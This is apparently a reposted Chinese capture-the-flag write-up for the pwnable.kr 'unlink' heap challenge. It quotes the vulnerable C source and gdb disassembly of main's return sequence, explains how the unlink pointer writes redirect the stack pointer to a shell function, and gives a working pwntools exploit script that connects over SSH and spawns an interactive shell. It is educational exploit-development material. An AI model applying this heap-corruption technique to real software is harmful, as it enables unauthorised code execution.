pwnable.kr unlink

题目源码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;
void shell(){
    system("/bin/sh");
}
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));
    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;
    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
    // exploit this unlink!
    unlink(B);
    return 0;
}

对main程序进行反汇编(gdb)disas main

   0x0804855d <+46>:    mov    %eax,-0x14(%ebp)

   0x0804856d <+62>:    mov    %eax,-0xc(%ebp)

   0x0804857d <+78>:    mov    %eax,-0x10(%ebp)

按顺序依次是 &A = ebp - 0x14 , &B = ebp - 0xc  ,&C = ebp - 0x10

查看shell函数地址(gdb)disas shell

shell = 0x080484eb

要覆盖main返回地址,先看看函数最后

   0x080485ff <+208>:    mov    -0x4(%ebp),%ecx         //ecx = ebp-4 
   0x08048602 <+211>:    leave                                      //move esp,ebp     pop ebp   对esp没影响
   0x08048603 <+212>:    lea    -0x4(%ecx),%esp           //esp = ecx-4
---Type <return> to continue, or q <return> to quit---return
   0x08048606 <+215>:    ret    

 

ret指令相当于pop eip,该指令是可以控制程序运行流程的,流程的来源是esp指向的地址。

因此,就要覆盖esp达到调用任意函数的目的,就要改写ecx-4,要改写ecx就要改写ebp-4,而ebp在main中没有发生变化

gets()函数之后能进行写操作的只有unlink(),其中下面两条指令能对B的内容进行写操作

    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;    FD->bk=BK;
    BK->fd=FD;

现在分析下OBJ结构体,fd是第一个变量,bk是第二个变量。OBJ->fd = OBJ ,  OBJ->bk = OBJ + 4,这是关键!!!!

typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

因此,BK->fd = [BK] = FD , 也就是说,可以通过 [B->bk] = B->fd  也即 在bk的地址中填写fd  来实现改写寄存器的值

所以,我们要在B->fd中填写shell地址 + 4(因为最后esp = ecx - 4) ,B->bk中填写ebp-4也即ecx的地址,这样就能往ebp-4中改写成shell地址+4  --------> ebp -4 = ecx = shell -4    esp = ecx -4 = shell

from pwn import *
s=ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)
cn=s.process('./unlink')
shell = 0x080484eb

cn.recvuntil("here is stack address leak: ")
stack = cn.recv(10)
stack = int(stack,16)  #stack = ebp -0x14
cn.recvuntil("here is heap address leak: ")
heap = cn.recv(9)
heap = int(heap,16)
cn.recvuntil('now that you have leaks, get shell!\n')
# FD = B->fd;  BK = B-> bk;  BK->fd = [BK](according to the struct of OBJ) = FD
#                            BK->bk = [BK+4]
#so we can modify [B->bk] with B->fd

#payload = p32(shell)#heap + 8
#payload+= 'a'*12#left buf(4) + presize(4) + size(4) 
#payload+= p32(heap + 12) # B->fd   shell = heap+8  = ecx -4
#payload+= p32(stack+0x10)# B->bk   ecx = ebp-4 = stack + 0x10

payload = 'a'*4 +p32(shell) + 'a'*8
payload+= p32(heap + 16) # B->fd   shell = heap+12  = ecx -4
payload+= p32(stack+0x10)# B->bk   ecx = ebp-4 = stack + 0x10 (ebp - 0x14 +0x10)

cn.sendline(payload)
cn.interactive()
cn.close()

参考文章:

http://www.cnblogs.com/p4nda/p/7172104.html

https://blog.csdn.net/qq_33528164/article/details/77061932            

猜你喜欢

转载自blog.csdn.net/snowleopard_bin/article/details/80021334
今日推荐